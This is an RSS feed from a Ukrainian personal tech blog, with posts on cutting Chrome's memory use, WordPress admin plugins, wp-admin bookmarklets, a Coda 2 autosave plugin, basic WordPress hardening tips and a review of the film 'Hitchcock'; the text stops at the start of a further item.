<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>lilumi &#8211; країна має талант</title>
	<atom:link href="https://lilumi.org.ua/author/lilumi/feed" rel="self" type="application/rss+xml" />
	<link>https://lilumi.org.ua</link>
	<description></description>
	<lastBuildDate>Sat, 10 Feb 2024 15:57:27 +0000</lastBuildDate>
	<language>uk</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>
	<item>
		<title>Оптимізація Google Chrome</title>
		<link>https://lilumi.org.ua/lilumi/optimize-google-chrome</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sat, 10 Feb 2024 15:52:45 +0000</pubDate>
				<category><![CDATA[базис]]></category>
		<guid isPermaLink="false">https://lilumi.org.ua/?p=812</guid>

					<description><![CDATA[Є така проблема, що гугл хром споживає дофіга оперативки. Але у мене немає такої проблеми :) Як бачите &#8211; відкрито 82 вкладки і при цьому Хром споживає лише 2.7Гб оперативки. Хочете так само? Без проблем &#8211; я вас навчу. В статті перелічені лише безкоштовні способи, які допоможуть зменшити споживання оперативки браузером. 1. свіжа фіча: Chrome...]]></description>
										<content:encoded><![CDATA[
<p>Є така проблема, що гугл хром споживає дофіга оперативки. </p>



<p>Але у мене немає такої проблеми :) Як бачите &#8211; відкрито 82 вкладки і при цьому Хром споживає лише 2.7Гб оперативки.</p>



<figure class="wp-block-image size-full"><a href="https://lilumi.org.ua/files/2024/02/image-4.png"><img fetchpriority="high" decoding="async" width="847" height="616" src="https://lilumi.org.ua/files/2024/02/image-4.png" alt="" class="wp-image-817" srcset="https://lilumi.org.ua/files/2024/02/image-4.png 847w, https://lilumi.org.ua/files/2024/02/image-4-300x218.png 300w, https://lilumi.org.ua/files/2024/02/image-4-768x559.png 768w" sizes="(max-width: 847px) 100vw, 847px" /></a></figure>



<p>Хочете так само? Без проблем &#8211; я вас навчу. <br>В статті перелічені лише безкоштовні способи, які допоможуть зменшити споживання оперативки браузером. </p>



<h2 class="wp-block-heading">1. свіжа фіча: Chrome Memory Saver</h2>



<p>відносно недавно в хром додали нову фічу Memory Saver яка працює таким чином: Якщо якоюсь вкладкою не користувались деякий час (час невідомий &#8211; бо браузер сам вирішує по своєму хитрому алгоритму, по моїм спостереженням 1 година) &#8211; хром робить її неактивною і всю оперативну пам&#8217;ять, яку ця вкладка споживала, вивільняє для інших задач.</p>



<p>Включається просто. вводите в броузері chrome://settings/performance і включаєте галочку <strong>Memory Saver</strong></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="977" height="660" src="https://lilumi.org.ua/files/2024/02/image-6.png" alt="" class="wp-image-821" srcset="https://lilumi.org.ua/files/2024/02/image-6.png 977w, https://lilumi.org.ua/files/2024/02/image-6-300x203.png 300w, https://lilumi.org.ua/files/2024/02/image-6-768x519.png 768w" sizes="(max-width: 977px) 100vw, 977px" /></figure>



<p>Також є можливість додати у винятки ті сайти, які ви не хочете, щоб вкладки з ними вивільнялись по таймауту. Наприклад mail.google.com, щоб вкладки з gmail не вигружались з оперативки. </p>



<h2 class="wp-block-heading">2. Розширення Tab Suspender</h2>



<p>Я користуюсь цим розширенням вже 3 роки. Воно робить все те саме, що Memory Saver вбудований в браузер, але появилось набагато раніше і має пару переваг і фіч. І саме через ці фічі, я не юзаю вбудований memory saver.<br><strong>Фіча перша: </strong> Налаштування інтервалу через який час вигружати вкладки. Я поставив 15хв. <br><strong>Фіча друга</strong>: не вигружати з оперативки запінені таби (pinned tabs) &#8211; тобто мені не треба морочитись, щоб десь налаштовувати який домен ігнорувати, я просто закріплюю вкладку і знаю, що вона буде доступна завжди. </p>



<p><strong>Фіча третя</strong>: Головна фіча як на мене: перед вигрузкою таби з оперативки, це розширення робить скріншот відкритої сторінки і перемикаючись на таку табу я по скріншоту вирішую, чи треба її реактивувати, чи мені достатньо інфи на скріні,  або взагалі не треба зараз. Це супер крута фіча, бо вбудований memory saver працює так, що як тільки ти вікриваєш &#8220;сплячу вкладку&#8221; браузер її завантажує (а ти міг випадково на неї клацнути і не збирався зараз нею користуватись)</p>



<figure class="wp-block-image"><img decoding="async" width="1024" height="759" src="https://lilumi.org.ua/files/2024/02/image-1024x759.png" alt="" class="wp-image-813" srcset="https://lilumi.org.ua/files/2024/02/image-1024x759.png 1024w, https://lilumi.org.ua/files/2024/02/image-300x222.png 300w, https://lilumi.org.ua/files/2024/02/image-768x569.png 768w, https://lilumi.org.ua/files/2024/02/image.png 1293w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">приклад скріншоту вивантаженої таби за допомогою Tab Suspender</figcaption></figure>



<p>Посилання на розширення: <a href="https://chromewebstore.google.com/detail/tab-suspender/fiabciakcmgepblmdkmemdbbkilneeeh" target="_blank" rel="noreferrer noopener">https://chromewebstore.google.com/detail/tab-suspender/fiabciakcmgepblmdkmemdbbkilneeeh</a></p>



<figure class="wp-block-image aligncenter size-full"><a href="https://chromewebstore.google.com/detail/tab-suspender/fiabciakcmgepblmdkmemdbbkilneeeh"><img loading="lazy" decoding="async" width="429" height="220" src="https://lilumi.org.ua/files/2024/02/image-5.png" alt="" class="wp-image-818" srcset="https://lilumi.org.ua/files/2024/02/image-5.png 429w, https://lilumi.org.ua/files/2024/02/image-5-300x154.png 300w" sizes="auto, (max-width: 429px) 100vw, 429px" /></a></figure>



<h2 class="wp-block-heading">3. надмірне споживання оперативки через Adblock </h2>



<p>Якщо ви користуєтесь розширенням ablock для блокування реклами на сайтах, но нещодавно Youtube вдався до агресивних методів боротьби з користувачами adblock і через це браузер Chrome починає страшно тормозити, якщо у вас є на якійсь вкладці вікдритий youtube.com</p>



<p>Безкоштовним рішенням цієї проблеми є перехід на інше розширення блокувальника реклами: uBlock Origin &#8211; я ним користуюсь вже 5+ років і він мене всім влаштовує. </p>



<p><a href="https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm">https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm</a></p>



<figure class="wp-block-image aligncenter size-full"><a href="https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm"><img loading="lazy" decoding="async" width="440" height="222" src="https://lilumi.org.ua/files/2024/02/image-1.png" alt="" class="wp-image-814" srcset="https://lilumi.org.ua/files/2024/02/image-1.png 440w, https://lilumi.org.ua/files/2024/02/image-1-300x151.png 300w" sizes="auto, (max-width: 440px) 100vw, 440px" /></a></figure>



<h2 class="wp-block-heading">4. аналіз сторінок і розширень, які споживають багато оперативки.</h2>



<p>В часи, коли зараз створюються мегаскладні сайти з купою логіки на javascript, такі сайти споживають багато оперативки. Також є розширення, які також працюють на javascript і там також можуть бути проблеми зі споживанням оперативки. <br>Для цього в google chrome появився &#8220;Диспетчер завдань&#8221; який показує скільки яка вкладка споживає оперативки і скільки споживає кожне розширення. </p>



<p>Викликати Task Manager можна через комбінацію клавіш Shift+Escape або через меню -> More Tools &#8211; Task Manager</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="640" height="325" src="https://lilumi.org.ua/files/2024/02/image-2.png" alt="" class="wp-image-815" srcset="https://lilumi.org.ua/files/2024/02/image-2.png 640w, https://lilumi.org.ua/files/2024/02/image-2-300x152.png 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>



<p><br>Можливо це вас наведе на думку, з яким сайтом є проблеми, або з яким розширенням доведеться розпрощатись, бо воно неефективно використовує оперативну пам&#8217;ять. </p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="867" height="593" src="https://lilumi.org.ua/files/2024/02/image-3.png" alt="" class="wp-image-816" srcset="https://lilumi.org.ua/files/2024/02/image-3.png 867w, https://lilumi.org.ua/files/2024/02/image-3-300x205.png 300w, https://lilumi.org.ua/files/2024/02/image-3-768x525.png 768w" sizes="auto, (max-width: 867px) 100vw, 867px" /></figure>



<p>Наприклад в мене видно, що вкладка з Gutenberg редактором WordPress&#8217;у займає 600+Мб, що в ТРИЧІ більше ніж головна сторінка Youtube :) А чому? А тому, що Gutenberg редактор це доооофіга javascript та react коду, який виконується в броузері і споживає оперативну пам&#8217;ять для збереження тимчасових даних. </p>



<p> А відсортувавши по колонці CPU &#8211; можна побачити яка вкладка чи розширення споживає найбільше процесорних ресурсів. </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Плагіни для менеджменту WordPress зсередини адмінки</title>
		<link>https://lilumi.org.ua/wordpress/wp-plugins-for-service-management</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sat, 20 Jan 2024 15:09:05 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<guid isPermaLink="false">https://lilumi.org.ua/?p=785</guid>

					<description><![CDATA[Увага: плагіни по типу file manager несуть в собі небезпеку тому, що в будь який момент може виявитись вразливість, яка дозволить отримати доступ до файлів зловмисникам. Тому я не рекомендую тримати цей плагін на сайті на постійній основі. Встановіть, зробіть що вам треба і видаліть цей плагін. Не тримайте його постійно на сайті. Тому що,...]]></description>
										<content:encoded><![CDATA[
<pre class="wp-block-code has-light-gray-background-color has-background"><code>download-theme</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="kfMPCaSCWE"><a href="https://wordpress.org/plugins/download-theme/">Download Theme</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Download Theme&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/download-theme/embed/#?secret=WgfqzEw2ij#?secret=kfMPCaSCWE" data-secret="kfMPCaSCWE" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб скачати тему прямо з сайту. (далі можна модифікувати тему і перезалити через адмінку)</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code"><code>download-plugin</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="HgvEnaJ9HL"><a href="https://wordpress.org/plugins/download-plugin/">Download Plugin</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Download Plugin&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/download-plugin/embed/#?secret=G2zT5QIzPT#?secret=HgvEnaJ9HL" data-secret="HgvEnaJ9HL" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption"> Щоб скачати плагін прямо з адмінки</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>wp-rollback</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="o1GXK2NCbj"><a href="https://wordpress.org/plugins/wp-rollback/">WP Rollback &#8211; Rollback Plugins and Themes</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;WP Rollback &#8211; Rollback Plugins and Themes&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/wp-rollback/embed/#?secret=ndkJdke00s#?secret=o1GXK2NCbj" data-secret="o1GXK2NCbj" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб швидко відкотитись з адмінки до попередньої версії плагіну чи теми</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>core-rollback</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="rJQoS3y9Vx"><a href="https://wordpress.org/plugins/core-rollback/">Core Rollback</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Core Rollback&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/core-rollback/embed/#?secret=hE87at34WT#?secret=rJQoS3y9Vx" data-secret="rJQoS3y9Vx" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб відкотитись до попередньої версії вордпресу</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>file-manager</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="ANs3uuPkmT"><a href="https://wordpress.org/plugins/file-manager/">Bit File Manager – 100% Free &amp; Open Source File Manager and Code Editor for WordPress</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Bit File Manager – 100% Free &amp; Open Source File Manager and Code Editor for WordPress&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/file-manager/embed/#?secret=VVn4fKtvoJ#?secret=ANs3uuPkmT" data-secret="ANs3uuPkmT" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Рекомендую цей плагін, так як він вміє показувати права на файли і якому юзеру/групі належить файл чи папка</figcaption></figure>



<p><strong>Увага</strong>: плагіни по типу file manager несуть в собі небезпеку тому, що в будь який момент може виявитись вразливість, яка дозволить отримати доступ до файлів зловмисникам. Тому я не рекомендую тримати цей плагін на сайті на постійній основі. Встановіть, зробіть що вам треба і видаліть цей плагін. Не тримайте його постійно на сайті. Тому що, навіть у виключеному стані він може містити вразливість, що дозволить ним скористатись. </p>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Букмарклети для швидкого доступу в адмінку WordPress&#8217;у</title>
		<link>https://lilumi.org.ua/wordpress/bookmarklet-quick-wp-admin</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Wed, 04 Sep 2013 09:00:03 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[bookmarklet]]></category>
		<category><![CDATA[букмарклет]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=738</guid>

					<description><![CDATA[Мені щодня приходиться відкривати купу різних сайтів, зроблених на wordpress&#8217;і і так само часто приходиться заходити в адмінки цих сайтів. Раніше доводилось щоразу копіювати адресу сайту, відкривати нову вкладку, вставляти адресу сайту і потім дописувати /wp-admin в кінці адреси. Це довго, нудно і не по-самурайськи. Тому я зайнявся вирішенням цієї проблеми і написав універсальні букмарклети,...]]></description>
										<content:encoded><![CDATA[<p>Мені щодня приходиться відкривати купу різних сайтів, зроблених на wordpress&#8217;і і так само часто приходиться заходити в адмінки цих сайтів. Раніше доводилось щоразу копіювати адресу сайту, відкривати нову вкладку, вставляти адресу сайту і потім дописувати /wp-admin в кінці адреси. Це довго, нудно і не по-самурайськи. Тому я зайнявся вирішенням цієї проблеми і написав універсальні букмарклети, які відкриватимуть вам сторінку адмінки.</p>
<p>Щоб додати букмарклет, просто перетягніть його звідси на панель закладок вашого браузера. <br />Wp-admin відкриє адмінку в поточному табі, а wp-admin* відкриє адмінку в новому табі. Вибирайте, що кому більше подобається.</p>
<p><a class="bookmarklet" href="javascript:(function(){window.location='http://'+location.hostname+'/wp-admin';})();">WP-ADMIN</a> <a class="bookmarklet" href="javascript:(function(){window.open('http://'+location.hostname+'/wp-admin')})();">WP-ADMIN*</a></p>
<p>Єдиний недолік в тому, що букмарклет не буде працювати коректно, якщо використовувати на WordPress Multisite де сайти розташовуються в підпапках, а не на субдоменах. Ну і якщо сам вордпрес встановлено в підпапку (наприклад в /blog/), а не в корінь сайту, то букмарклет також працювати не буде, але процент таких сайтів дуже малий.</p>
<p>Якщо виникли якісь питання з цього приводу — питайте, не зволікайте :)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Плагін Coda 2 Autosave on Deactivate</title>
		<link>https://lilumi.org.ua/macos-x/plugin-coda-2-autosave-on-deactivate</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Thu, 29 Aug 2013 14:29:09 +0000</pubDate>
				<category><![CDATA[MacOS X]]></category>
		<category><![CDATA[coda2]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=730</guid>

					<description><![CDATA[Моїм улюбленим редактором коду є Coda. І хоч весь світ зараз фанатіє від редактора Sublime Text, мене він якось не зацепив, бо в Coda є все те саме що в Sublime, плюс я собі налаштував все так, щоб було максимально зручно та швидко писати код. Однією з таких речей є плагін, що автоматично зберігає всі...]]></description>
										<content:encoded><![CDATA[<p>Моїм улюбленим редактором коду є Coda. І хоч весь світ зараз фанатіє від редактора Sublime Text, мене він якось не зацепив, бо в Coda є все те саме що в Sublime, плюс я собі налаштував все так, щоб було максимально зручно та швидко писати код. <br />Однією з таких речей є плагін, що автоматично зберігає всі зміни в файлах, що я редагував при перемиканні вікон (з редактору Coda на броузер, наприклад). Тобто, коли я вніс зміни в файл, то настиснувши Cmd+Tab я перемикаюсь на Chrome і натиснувши F5 я одразу ж бачу всі зміни на сайті. До цього дуже швидко звикаєш і це дуже зручно, адже зникає потреба постійно тиснути Cmd+S на вкладці кожного відредагованого файлу.<br />Зараз це вже стало поширеною практикою і цей функціонал є і в Sublime Text, але вперше він появився в редакторі PHP Storm (тоді ще називався Web IDE) 3 роки тому і це був прорив. <br />Так от, був такий плагін CodaAutosaveOnDeactivate для Coda 1.x, але з виходом версії Coda 2 цей плагін перестав працювати. Я чекав 3 місяці поки автор оновить плагін під нову версію, але так і не дочекався. І тоді я закатав рукава, за 2 тижні вивчив основи Objective С  і за день написав цей плагін для Coda 2. З тих пір пройшов майже рік часу і плагін весь цей час стабільно працював та виконував свою функцію. Оскільки автор так і не обновив свій плагін то я вирішив свою версію викласти тут для скачування.<span id="more-730"></span></p>
<p>Отже: <strong>AutosaveOnDeactivate.codaplugin for Coda 2.x</strong><br />— Automatically saves editor files when they lose keyboard focus. <br />— Also works with files edited through ftp from Coda2 built-in ftp-manager or from Transmit.</p>
<p>Install in two ways:</p>
<p>1. Extract zip archive and simply double click on file <strong>AutosaveOnDeactivate.codaplugin</strong></p>
<p>or</p>
<p>2. In Finder press CMD+Shift+G to access to Go To Folder&#8230; dialogue and enter path <strong>~/Library/Application Support/Coda 2/Plug-ins</strong> copy file AutosaveOnDeactivate.codaplugin to this folder . Restart Coda 2 if running.<strong><br /></strong></p>
<p>Uninstall:</p>
<p>remove file AutosaveOnDeactivate.codaplugin from folder <strong>~/Library/Application Support/Coda 2/Plug-ins</strong>. Restart Coda 2 if running.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>І знову про захист сайту від зламу</title>
		<link>https://lilumi.org.ua/wordpress/secure-site</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 14 May 2013 21:11:45 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[вірус]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=711</guid>

					<description><![CDATA[Останнім часом до мене все частіше почали звертатись клієнти з підозрами на взламані сайти на wordpress&#8217;i. Якщо ви також помітили щось підозріле в роботі свого сайту, то ця стаття для вас. Помітити, що сайт взламаний не завжди вдається. Ось у мене був випадок, коли клієнт чисто випадково помітив, що на його сайті внизу були сторонні...]]></description>
										<content:encoded><![CDATA[<p>Останнім часом до мене все частіше почали звертатись клієнти з підозрами на взламані сайти на wordpress&#8217;i. Якщо ви також помітили щось підозріле в роботі свого сайту, то ця стаття для вас.</p>
<p>Помітити, що сайт взламаний не завжди вдається. Ось у мене був випадок, коли клієнт чисто випадково помітив, що на його сайті внизу були сторонні посилання на сайти з продажу ліків. В інтернеті це називається pharma hack. Але щоб виявити, що ваш сайт заражений цим &#8220;вірусом&#8221; потрібно його відвідати, але з певними умовами:<br />— це має бути захід через гугл по пошуковій фразі<br />— з цієї ip-адреси ви ще жодного разу не заходили на свій сайт<br />— з цього броузера ви ще жодного разу не заходили на свій сайт (або почистити кукі).<br />Саме через те, що &#8220;лєві&#8221; посилання показуються лише при цих умовах, власники сайтів навіть не здогадуються, що їх сайт був зламаний.</p>
<p>Але якщо ви так і не виявили сторонніх посилань на сайті, то не спішіть радіти, ваш сайт може бути взламаний іншим чином і може містити руткіт, або бути учасником бот-мережі. Ці проблеми не є новими, тож в якості протидії їм розробники різних мастей зробили купу плагінів, що покривають ті чи інші аспекти по підвищенню захищеності сайту. Я ж розповім про те, які плагіни обрав сам і рекомендую іншим.<span id="more-711"></span></p>
<p><strong>1.Почну з банального &#8211; не використовуйте в якості адміністратора логін admin</strong> (а також його похідні: adminadmin, administrator, root). Якщо у вас уже є такий логін, то створіть новий акаунт з іншим нестандартним іменем, наприклад: direktor. Для цього нового акаунта дайте права адміністратора, а акаунт admin видаліть, або ж дайте йому роль &#8220;підписник&#8221;. Ну і звісно, що потрібно обирати складні паролі &#8211; з цифрами, буквами в верхньому регістрі і достатньо довгим (мінімум 8 символів).</p>
<p><figure id="attachment_713" aria-describedby="caption-attachment-713" style="width: 418px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-713" alt="cracklogin" src="https://lilumi.org.ua/files/2013/05/cracklogin.png" width="418" height="340" srcset="https://lilumi.org.ua/files/2013/05/cracklogin.png 418w, https://lilumi.org.ua/files/2013/05/cracklogin-300x244.png 300w" sizes="auto, (max-width: 418px) 100vw, 418px" /><figcaption id="caption-attachment-713" class="wp-caption-text">Спроби підібрати пароль ботами</figcaption></figure></p>
<p><strong>2.Встановіть плагін <a href="http://wordpress.org/extend/plugins/limit-login-attempts/">Limit Login Attempts</a>.</strong> По замовчуванню, він буде блокувати всіх, хто 5 разів неправильно введе логін-пароль на 20 хвилин. Якщо з цього айпі будуть нові спроби підбору паролю, то плагін заблокує доступ вже на 24 години. Це значно покращить захист вашого сайту. Бо зараз існують цілі мережі ботів, що тільки тим і займаються, що підбирають паролі до адмінки. Цілком можливо, що саме в цю секунду на ваш сайт здійснюється масована атака ботів, що підбирають пароль.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-714" alt="sentinells" src="https://lilumi.org.ua/files/2013/05/sentinells.png" width="600" height="450" srcset="https://lilumi.org.ua/files/2013/05/sentinells.png 600w, https://lilumi.org.ua/files/2013/05/sentinells-300x225.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p>Окрім цього, я використовую такий хитрий хід: для логіну admin, даю роль &#8220;підписник&#8221; і ставлю йому простий пароль: 123456. Боти дуже швидко підбирають пароль, входять в адмінку, але нічого більше зробити не можуть ;)</p>
<p><em>В одного мого клієнта була ситуація, що його сайт зламав бот якраз через слабкий пароль в адмінку і цей же бот модифікував файли, щоб показувати рекламу для всіх відвідувачів з мобільних телефонів. Я точно впевнений, що хакер, який володіє цим ботом, навіть не заходив на сайт, бо то на тому ж хостингу в сусідній папці був іще один сайт, який не зазнав жодних змін. Тобто, як бачите, зараз весь процес взлому сайту повністю автоматизований і не потребує людського втручання.</em></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-712" alt="bwp" src="https://lilumi.org.ua/files/2013/05/bwp.png" width="600" height="194" srcset="https://lilumi.org.ua/files/2013/05/bwp.png 600w, https://lilumi.org.ua/files/2013/05/bwp-300x97.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p><strong>3. Встановіть плагін <a href="http://wordpress.org/extend/plugins/better-wp-security">Better WP Security</a>.</strong> Це дуже потужний плагін для продвинутих юзерів. Деякий функціонал в ньому потрібно включати з обережністю, бо він може вплинути на інші плагіни, які заглючать від цього. Під такими галочками, що включать конфліктний функціонал, є попередження, так що будьте уважні. <br />По суті він може замінити і плагін Limit Login Attempts, бо також має функцію блокування від підбору пароля. </p>
<p>Я налаштовую його так: вмикаю 404 detection та File Change Detection та вмикаю надсилання емейлу про щоденні логи по цим пунктам. В Directory Check List вніс папку wp-content/cache, щоб зміни в ній не фіксувались. Більше я нічого не використовую з його функціоналу. І ще нюанс: листи з цього плагіну гугл вперто відправляє спам, тож майте це на увазі.</p>
<p><strong>Ну і останній пункт — не забувайте робити бекапи.</strong> Якщо сайт взламають, а у вас буде свіжий бекап, то можна швидко повернути сайт до попереднього стану і заодно, порівнюючи файли з зараженого і незараженого бекапу, можна вияснити, яким чином хакер проникнув всередину. Зараз існує ряд різноманітних плагінів для вордпресу, що можуть робити бекапи і на емейли і на dropbox, і на інші онлайн-сервіси. Я ж користуюсь плагіном <a href="http://wordpress.org/extend/plugins/backupwordpress/">BackUpWordPress</a> в якому можна окремо запланувати розклад бекапу для бази данних та окремо для файлів. А потім через фтп зливаю їх час від часу собі на копм.</p>
<p>На цьому все, якщо є якісь питання чи доповнення, пишіть.<br />Бажаю щоб ваші сайти ніколи не зламали.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>коротка рецензія на фільм про Хічкока</title>
		<link>https://lilumi.org.ua/lilumi/hitchcock</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 26 Feb 2013 10:02:39 +0000</pubDate>
				<category><![CDATA[базис]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=705</guid>

					<description><![CDATA[На днях я побував на допрем’єрному показі фільму «Хічкок», на запрошення від Романа Голубовського. У фільмі, як вже зрозуміло з назви, мовиться про життя відомого режисера, майстра саспенсу &#8211; Альфреда Хічкока. Кожен з нас фанатіє від стрічок певного режисера: Спілберга, Кустуріци, Тіма Бертона, Хічкока чи когось іще. Але ніхто з нас не знає, як виглядає...]]></description>
										<content:encoded><![CDATA[<p>На днях я побував на допрем’єрному показі фільму «Хічкок», на запрошення від Романа <a href="http://golubovsky.com">Голубовського</a>. У фільмі, як вже зрозуміло з назви, мовиться про життя відомого режисера, майстра саспенсу &#8211; Альфреда Хічкока.</p>
<p>Кожен з нас фанатіє від стрічок певного режисера: Спілберга, Кустуріци, Тіма Бертона, Хічкока чи когось іще. Але ніхто з нас не знає, як виглядає повсякденне життя цих людей, чим вони живуть, які в них турботи і таке інше. І хоча фільм є художнім, а не документальним, проте я думаю, що його ціллю було показати саме характер, поведінку та стиль життя маестро максимально точно та достовірно.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-706" alt="Hitchcock" src="https://lilumi.org.ua/files/2013/02/Hitchcock.jpg" width="300" height="441" srcset="https://lilumi.org.ua/files/2013/02/Hitchcock.jpg 300w, https://lilumi.org.ua/files/2013/02/Hitchcock-204x300.jpg 204w" sizes="auto, (max-width: 300px) 100vw, 300px" /></p>
<p>Попереджую — не дивіться трейлер до фільму, інакше будете знати наперед майже всі ключові моменти і події.<br />Головна сюжетна лінія розгортається навколо зйомок фільму «Психо». Це зараз він вважається одним з навидатнішим фільмом тієї епохи, але в момент його створення ніхто не вірив, що цей фільм сподобається глядачеві. Навіть його дружина Альма Ревіль не вірила в успіх цієї стрічки і дуже скептично віднеслась до ідеї &#8230; Ай, якщо продовжу далі розказувати, то це буде спойлер. Давайте, я краще розповім про самі кадри.<br />Мені дуже сподобалась атмосфера фільму &#8211; 60-ті роки, часи розкішних американських кабріолетів, пишних зачісок та хіппі (хоча останнім в фільмі не найшлось місця:)) Дуже цікаво було на це дивитись — все дуже автентично, я не помітив жодного кіноляпу щодо історичної недостовірності. Операторська робота на висоті, сидиш в кінотеатрі і насолоджуєшся кадрами. Часто режисери вставляють в фільм кадри, що не є ключовими, але є цікавими і незвичними, в цьому фільмі таких кадрів достатньо, наприклад кадр, де був велосипед з кошиком наповнений величезними ножами, призначених для зйомок «Психо». <br />Після перегляду цього фільму довго думав над тим, наскільки була складною робота монтажерів в ті часи. Це вам не в Едіусі кадри по таймлайну рухати, тоді вони під лупою розглядали кадри, вибирали місце де різати і клеїли докупи. <br />А майстри гриму настільки постарались з перевтіленням актора Ентоні Хопкінса в Альфреда Хічкока, що їхню працю номінували на премію оскар в категорії «За найкращий грим».</p>
<p>В цілому фільм хороший та вартий перегляду, тож раджу запланувати похід в «<a href="http://planeta-kino.com.ua/lvov/">Планета Кіно</a>» поки він ще в прокаті.</p>
<p>Раджу також почитати відгук на цей фільм від Оленки Совун: «<a href="http://www.kiwka.com/hichkok-film/">Хічкок</a>» — на мою думку, їй вдалось найкраще розповісти про шарм цього фільму.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Дивіться «Звичайна справа», а незвичайна — зліва.</title>
